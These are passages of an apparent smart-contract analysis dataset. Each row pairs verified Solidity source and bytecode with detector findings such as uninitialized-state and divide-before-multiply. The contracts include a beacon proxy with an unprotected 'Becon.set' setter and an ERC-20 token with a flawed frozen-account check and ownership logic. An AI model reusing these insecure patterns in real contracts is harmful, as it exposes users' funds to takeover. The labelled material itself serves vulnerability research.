fffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600160000154905090565b600033905090565b600061073483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061095a565b905092915050565b6000808284019050838110156107ba576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000836000811461086a5760028406600081146107e3578592506107e7565b8392505b50600283046002850494505b841561086457858602868782041461080a57600080fd5b8181018181101561081a57600080fd5b8581049750600287061561085757878502858982041415891515161561083f57600080fd5b8381018181101561084f57600080fd5b878104965050505b50506002850494506107f3565b50610882565b836000811461087c5760009250610880565b8392505b505b509392505050565b60008083141561089d576000905061090a565b60008284029050828482816108ae57fe5b0414610905576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180610b076021913960400191505060405180910390fd5b809150505b92915050565b600061095283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610a1a565b905092915050565b6000838311158290610a07576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156109cc5780820151818401526020810190506109b1565b50505050905090810190601f1680156109f95780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008083118290610ac6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610a8b578082015181840152602081019050610a70565b50505050905090810190601f168015610ab85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581610ad257fe5b04905080915050939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a264697066735822122009df7dda844e4d492b14ec04eca8fc79218d9cebd5397aa01099d6ea4a6edd1764736f6c63430007060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 8,775 |
0xc4f6c000d95528789f685de0913a49c2b3cc4cb1
|
/**
*Submitted for verification at Etherscan.io on 2021-07-07
*/
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
// solhint-disable-next-line no-inline-assembly
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback () external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive () external payable virtual {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overriden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev This is the interface that {BeaconProxy} expects of its beacon.
*/
interface IBeacon {
/**
* @dev Must return an address that can be used as a delegate call target.
*
* {BeaconProxy} will check that this address is a contract.
*/
function implementation() external view returns (address);
}
/**
* @dev This contract implements a proxy that gets the implementation address for each call from a {UpgradeableBeacon}.
*
* The beacon address is stored in storage slot `uint256(keccak256('eip1967.proxy.beacon')) - 1`, so that it doesn't
* conflict with the storage layout of the implementation behind the proxy.
*
* _Available since v3.4._
*/
contract BeaconProxy is Proxy {
/**
* @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy.
* This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor.
*/
bytes32 private constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;
/**
* @dev Initializes the proxy with `beacon`.
*
* If `data` is nonempty, it's used as data in a delegate call to the implementation returned by the beacon. This
* will typically be an encoded function call, and allows initializating the storage of the proxy like a Solidity
* constructor.
*
* Requirements:
*
* - `beacon` must be a contract with the interface {IBeacon}.
*/
constructor(address beacon, bytes memory data) public payable {
assert(_BEACON_SLOT == bytes32(uint256(keccak256("eip1967.proxy.beacon")) - 1));
_setBeacon(beacon, data);
}
/**
* @dev Returns the current beacon address.
*/
function _beacon() internal view virtual returns (address beacon) {
bytes32 slot = _BEACON_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
beacon := sload(slot)
}
}
/**
* @dev Returns the current implementation address of the associated beacon.
*/
function _implementation() internal view virtual override returns (address) {
return IBeacon(_beacon()).implementation();
}
/**
* @dev Changes the proxy to use a new beacon.
*
* If `data` is nonempty, it's used as data in a delegate call to the implementation returned by the beacon.
*
* Requirements:
*
* - `beacon` must be a contract.
* - The implementation returned by `beacon` must be a contract.
*/
function _setBeacon(address beacon, bytes memory data) internal virtual {
require(
Address.isContract(beacon),
"BeaconProxy: beacon is not a contract"
);
require(
Address.isContract(IBeacon(beacon).implementation()),
"BeaconProxy: beacon implementation is not a contract"
);
bytes32 slot = _BEACON_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
sstore(slot, beacon)
}
if (data.length > 0) {
Address.functionDelegateCall(_implementation(), data, "BeaconProxy: function call failed");
}
}
}
contract Impl {
uint256 public a;
function get() public view returns (uint256){
return a + 1;
}
}
contract Becon {
address public implementation;
function set(address impl) public {
implementation = impl;
}
}
|
0x6080604052348015600f57600080fd5b506004361060325760003560e01c80632801617e1460375780635c60da1b14605c575b600080fd5b605a60048036036020811015604b57600080fd5b50356001600160a01b0316607e565b005b606260a0565b604080516001600160a01b039092168252519081900360200190f35b600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03168156fea2646970667358221220b2bbe296b2e39975e35ddf0332d01c40c11b1f113bbbb1cfdd53df5a2b4d0ea764736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,776 |
0x245fc6d0c59e5b9e6118088b48465e3757b31804
|
pragma solidity ^0.4.16;
// EROSCOIN Token contract based on the full ERC 20 Token standard
// https://github.com/ethereum/EIPs/issues/20
// Smartcontract for EROSCOIN, for more information visit https://eroscoin.org
// Symbol: ERO
// Status: ERC20 Verified
contract EROSCOINToken {
/* This is a slight change to the ERC20 base standard.
function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
This automatically creates a getter function for the totalSupply.
This is moved to the base contract since public getter functions are not
currently recognised as an implementation of the matching abstract
function by the compiler.
*/
/// total amount of tokens
uint256 public totalSupply;
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/**
* EROSCOINToken Math operations with safety checks to avoid unnecessary conflicts
*/
library EROMaths {
// Saftey Checks for Multiplication Tasks
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
// Saftey Checks for Divison Tasks
function div(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
// Saftey Checks for Subtraction Tasks
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
// Saftey Checks for Addition Tasks
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c>=a && c>=b);
return c;
}
}
contract Ownable {
address public owner;
address public newOwner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
// validates an address - currently only checks that it isn't null
modifier validAddress(address _address) {
require(_address != 0x0);
_;
}
function transferOwnership(address _newOwner) onlyOwner {
if (_newOwner != address(0)) {
owner = _newOwner;
}
}
function acceptOwnership() {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
event OwnershipTransferred(address indexed _from, address indexed _to);
}
contract EroStandardToken is EROSCOINToken, Ownable {
using EROMaths for uint256;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function freezeAccount(address target, bool freeze) onlyOwner {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function transfer(address _to, uint256 _value) returns (bool success) {
if (frozenAccount[msg.sender]) return false;
require(
(balances[msg.sender] >= _value) // Check if the sender has enough
&& (_value > 0) // Don't allow 0value transfer
&& (_to != address(0)) // Prevent transfer to 0x0 address
&& (balances[_to].add(_value) >= balances[_to]) // Check for overflows
&& (msg.data.length >= (2 * 32) + 4)); //mitigates the ERC20 short address attack
//most of these things are not necesary
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (frozenAccount[msg.sender]) return false;
require(
(allowed[_from][msg.sender] >= _value) // Check allowance
&& (balances[_from] >= _value) // Check if the sender has enough
&& (_value > 0) // Don't allow 0value transfer
&& (_to != address(0)) // Prevent transfer to 0x0 address
&& (balances[_to].add(_value) >= balances[_to]) // Check for overflows
&& (msg.data.length >= (2 * 32) + 4) //mitigates the ERC20 short address attack
//most of these things are not necesary
);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool success) {
/* To change the approve amount you first have to reduce the addresses`
* allowance to zero by calling `approve(_spender, 0)` if it is not
* already 0 to mitigate the race condition described here:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 */
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
// Notify anyone listening that this approval done
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract EROSCOIN is EroStandardToken {
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
uint256 constant public decimals = 8; //How many decimals to show.
uint256 public totalSupply = 24 * (10**7) * 10**8 ; // 240 million tokens, 8 decimal places
string constant public name = "EROSCOIN"; //fancy name: eg EROSCOIN
string constant public symbol = "ERO"; //An identifier: eg ERO
string constant public version = "v1.3"; //Version 1.1.5 standard. Just an arbitrary versioning scheme.
function EROSCOIN(){
balances[msg.sender] = totalSupply; // Give the creator all initial tokens
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this.
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
//it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
require(_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData));
return true;
}
}
|
0x606060405236156100ef576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100f4578063095ea7b31461018357806318160ddd146101dd57806323b872dd14610206578063313ce5671461027f57806354fd4d50146102a857806370a082311461033757806379ba5097146103845780638da5cb5b1461039957806395d89b41146103ee578063a9059cbb1461047d578063b414d4b6146104d7578063cae9ca5114610528578063d4ee1d90146105c5578063dd62ed3e1461061a578063e724529c14610686578063f2fde38b146106ca575b600080fd5b34156100ff57600080fd5b610107610703565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101485780820151818401525b60208101905061012c565b50505050905090810190601f1680156101755780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018e57600080fd5b6101c3600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061073c565b604051808215151515815260200191505060405180910390f35b34156101e857600080fd5b6101f06108c4565b6040518082815260200191505060405180910390f35b341561021157600080fd5b610265600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108ca565b604051808215151515815260200191505060405180910390f35b341561028a57600080fd5b610292610d99565b6040518082815260200191505060405180910390f35b34156102b357600080fd5b6102bb610d9e565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102fc5780820151818401525b6020810190506102e0565b50505050905090810190601f1680156103295780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561034257600080fd5b61036e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610dd7565b6040518082815260200191505060405180910390f35b341561038f57600080fd5b610397610e21565b005b34156103a457600080fd5b6103ac610f81565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103f957600080fd5b610401610fa7565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104425780820151818401525b602081019050610426565b50505050905090810190601f16801561046f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561048857600080fd5b6104bd600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610fe0565b604051808215151515815260200191505060405180910390f35b34156104e257600080fd5b61050e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611317565b604051808215151515815260200191505060405180910390f35b341561053357600080fd5b6105ab600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611337565b604051808215151515815260200191505060405180910390f35b34156105d057600080fd5b6105d86115da565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561062557600080fd5b610670600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611600565b6040518082815260200191505060405180910390f35b341561069157600080fd5b6106c8600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080351515906020019091905050611688565b005b34156106d557600080fd5b610701600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506117b0565b005b6040805190810160405280600881526020017f45524f53434f494e00000000000000000000000000000000000000000000000081525081565b6000808214806107c857506000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15156107d357600080fd5b81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a3600190505b92915050565b60065481565b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156109275760009050610d92565b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156109f2575081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156109fe5750600082115b8015610a375750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610ad35750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ad083600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188990919063ffffffff16565b10155b8015610ae457506044600036905010155b1515610aef57600080fd5b610b4182600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118b490919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bd682600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188990919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ca882600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118b490919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b600881565b6040805190810160405280600481526020017f76312e330000000000000000000000000000000000000000000000000000000081525081565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e7d57600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f45524f000000000000000000000000000000000000000000000000000000000081525081565b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561103d5760009050611311565b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015801561108c5750600082115b80156110c55750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156111615750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461115e83600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188990919063ffffffff16565b10155b801561117257506044600036905010155b151561117d57600080fd5b6111cf82600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118b490919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061126482600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188990919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b92915050565b60056020528060005260406000206000915054906101000a900460ff1681565b600082600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff1660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e01905060405180910390207c01000000000000000000000000000000000000000000000000000000009004338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828051906020019080838360005b838110156115795780820151818401525b60208101905061155d565b50505050905090810190601f1680156115a65780820380516001836020036101000a031916815260200191505b5094505050505060006040518083038160008761646e5a03f19250505015156115ce57600080fd5b600190505b9392505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b92915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116e457600080fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15b5b5050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffff